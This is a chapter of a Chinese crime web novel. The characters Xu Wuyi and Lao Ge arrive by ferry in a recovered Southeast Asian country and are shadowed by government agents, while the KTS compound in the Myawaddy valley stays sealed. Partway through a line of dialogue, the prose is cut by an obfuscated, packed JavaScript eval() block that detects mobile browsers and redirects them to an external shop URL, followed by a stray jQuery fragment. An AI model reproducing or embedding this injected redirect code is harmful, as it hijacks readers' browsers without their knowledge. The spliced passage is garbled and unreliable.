河谷湿热的暑气轮替三回,KTS闭关封门恰好满三个月。
五栋二十层主楼依旧烟囱沉寂,再无半缕科拉动提纯的灰白浓烟飘出,合金正门每日只留极小侧门供物资补给车辆单向驶入,四万留守人员安分守在围墙之内,没有任何人批量外出。许凌安每隔三日便会带队绕外围巡查一圈,记录下来的景象永远一成不变,厂区像一头蛰伏的巨兽,安静盘踞河谷腹地,按月准时向武装结清分润,二者往来始终客客气气,从未生出矛盾。
督查组的线索断在许无意注销号码那一刻,整整三个月,许无意如同人间蒸发,没有半点踪迹。许凌安翻遍边境口岸出入境记录、陆路通关台账,全都找不到此人通行痕迹,只当他被凯斯锁在KTS厂区深处,再无外出可能。
没人知晓,许无意早已跟着捞哥,登上了驶往南洋的远洋轮渡。
轮渡甲板海风温润,褪去河谷常年黏腻的潮热,许无意倚着栏杆,看向身侧神色平淡的捞哥。
捞哥一身简单素色衣衫,不复当年在河谷园区带兵厮杀、动辄掀翻势力的凌厉,只是眼底深处藏着沉淀多年的冷意。他此行目的地,是南洋一处临海小国,也是多年前他一手搅动动荡、险些彻底拖垮本国秩序的地方。
“当年我被武装抓捕带走,锁进边境地牢之后,这里才算真正喘过气。”捞哥望着海平面远处渐渐浮现的海岸线,低声开口,“那会儿各路灰色产业扎堆,走私、地下药剂横行,本地财政崩盘,物价飞涨,街头随处可见流民,几乎濒临经济崩塌,说是差点被我搅得灭国,一点不夸张。”
许无意顺着他的视线望去,越靠近港口,越能看清这片国度翻天覆地的变化。
沿岸不再是当年破败杂乱的走私码头,取而代之的是规划整齐的货运海港,集装箱有序堆放,港口车流络绎不绝;近海修建连片滨海步道、绿植公园,街道干净整洁,道路两旁常年鲜花盛放,空气清新温润,没有河谷刺鼻的药剂异味。城内商铺林立,民生产业稳步发展,本土特色加工、滨海旅游撑起经济支柱,物价稳定,百姓生活安稳,整体环境宜居舒适,早已摆脱当年破败萧条的模样。
这些年该国政府借着动荡平息的窗口期,大力整顿灰色产业,收紧跨境贸易法规,招商引资发展正规产业链,短短数年经济稳步攀升,民生基建全面翻新,整体发展一路向好,彻底走出昔日危机。
轮渡缓缓停靠港口,二人刚踏上码头,隐匿在人群里数名身着便装的政府情报人员,立刻不动声色地分开行动,悄然跟在二人身后。
早在轮渡驶入近海海域时,本国海关情报系统就捕捉到了捞哥的入境身份信息。当年捞哥在此掀起巨大动乱,留下无数难以抹平的社会创伤,是当局重点标注的高危人物。得知他时隔多年再度踏足本国领土,当地政府高层紧急召开临时会议,下达明确指令:不得直接扣押、强硬阻拦,避免激化矛盾引发不必要冲突,但必须全程24小时暗中监视,记录二人所有行踪、接触人员、交谈内容,严防捞哥重操旧业,再度搅动本地灰色链条,给好不容易复苏的国家带来二次重创。
情报人员分工明确,两人混在街边商贩之间,一人驾驶不起眼民用车辆尾随,还有一人借助街边商铺玻璃窗隐蔽观察,全程保持安全距离,绝不贸然上前惊扰。
许无意敏锐察觉到身后若有若无的视线,不动声色侧头低声提醒捞哥:“有人跟着我们。”
捞哥淡淡瞥了一眼身后街角假装整理货物的便衣探员,毫不在意,脚步未停,沿着滨海大路往前走:“意料之中,当年我在这里闹出来的乱子太大,他们提防我是正常的。”
“你打算在这里停留多久?”许无意问。
“不会久留,只是来办
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704739|205039||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一件旧事,办完立刻离开,不会插手本地任何产业,不给他们找麻烦。”捞哥语气平静,全无当年肆意杀伐的狂躁,“我清楚这片土地好不容易才稳住经济,没必要再搅乱别人安稳日子。”
话虽如此,暗中尾随的情报人员丝毫不敢松懈,实时将两人行进路线、停留地点同步传回政府指挥中心。指挥室内官员紧盯屏幕传来的实时影像,神色紧绷,反复叮嘱外勤人员:盯紧两人所有往来,一旦发现他们接触地下走私、药剂相关人员,立刻上报,启动分级管控预案。
街道两旁绿树成荫,海风裹挟花香扑面而来,和河谷永无止境的闷热、刺鼻药味形成鲜明对比。繁华平和的市井景象落在捞哥眼中,他心底生出几分复杂感慨。
当年他在此处割据灰色渠道,各方势力混战,掏空本地经济根基;如今物是人非,市井安稳,百业兴盛,唯独自己成了这片土地永远需要防备的隐患。
许无意环顾四周安逸祥和的环境,轻声道:“这里如今倒是一片太平,和河谷紧绷压抑的氛围完全两样。”
捞哥轻轻颔首,目光望向城市深处错落的楼宇:“太平来得不容易,我不会毁掉眼下这份安稳。只是当局不信,只能任由他们全程盯着我们。”
二人穿过热闹的滨海商业街,准备前往市中心一处老式民宿落脚,身后数道隐匿的视线,自始至终牢牢黏在他们身上,一场无声的监视拉锯,自登陆这一刻便已然拉开序幕。
远在千里之外的妙瓦底河谷,封闭三个月的KTS厂区依旧死寂无声,凯斯坐在二十层议事大厅窗前,手中握着海外传来的情报简报,上面清晰记录着许无意与捞哥入境南洋小国的全部行踪。
他指尖轻敲纸面,目光落向窗外空无一人的货运通道,低声自语:“暂时离开也好,避开督查组视线,只是南洋那边,怕是不会让他们轻松自在。”